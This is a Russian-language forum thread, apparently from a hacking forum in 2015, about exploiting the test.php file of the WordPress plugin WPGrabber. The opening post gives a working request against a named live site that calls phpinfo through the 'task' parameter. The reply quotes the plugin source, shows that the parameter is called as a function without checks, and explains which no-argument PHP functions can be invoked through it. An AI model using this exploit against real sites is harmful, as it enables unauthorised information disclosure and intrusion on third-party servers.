
15.05.2015, 11:02
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Сообщение от mazaxaka
mazaxaka said:
↑
Код:
Code:
kratko-news.com/wp-content/plugins/wpgrabber/test.php?ajax=1&task=phpinfo
можно ли вывести что то кроме пхпинфо? вроде все перепробовал, нефига не хочет
Лезем на офф сайт - http://wpgrabber.ru/ , качаем плагин.
Открывает test.php
В самом начала видим:
Код:
Code:
if ($_GET['ajax']) {
$task = $_GET['task'];
//sleep(1);
$result = $task();
exit();
В самом конце видим:
Код:
Code:
function __start()
{
$('#display').html('');
$('#sbmt').hide();
$('#loading').show();
__echo('1. Тестированиe внешних запросов из php-функции file_get_contents()...');
$.get('?ajax=1&task=testFileGetContents', function( data ) {
__echo( data );
__echo('
2. Тестированиe работы библиотеки CURL...');
$.get('?ajax=1&task=testCurl', function( data ) {
__echo( data );
__echo('
3. Тестированиe внешних запросов из php-функции copy()...');
$.get('?ajax=1&task=testCopy', function( data ) {
__echo( data );
__echo('
4. Тестированиe сохранения файла из php-функции file_get_contents()...');
$.get('?ajax=1&task=testFileGetContentsSaveFile', function( data ) {
__echo( data );
__echo('
5. Тестированиe сохранения файла с помощью библиотеки CURL...');
$.get('?ajax=1&task=testCurlSaveFile', function( data ) {
__echo( data );
__echo('
Тестирование завершено!');
$('#sbmt').show();
$('#loading').hide();
То есть доступными функциями для тестирования будут те, которые описаны в скрипте + те, для вызоав которых не нужна передача аргументов.
Потому что итоговая строка строится как $func= $_GET['task'].'()'
Такие функции для php можешь посмотреть здесь -> http://php.net/manual/ru/ref.info.php
|
|
|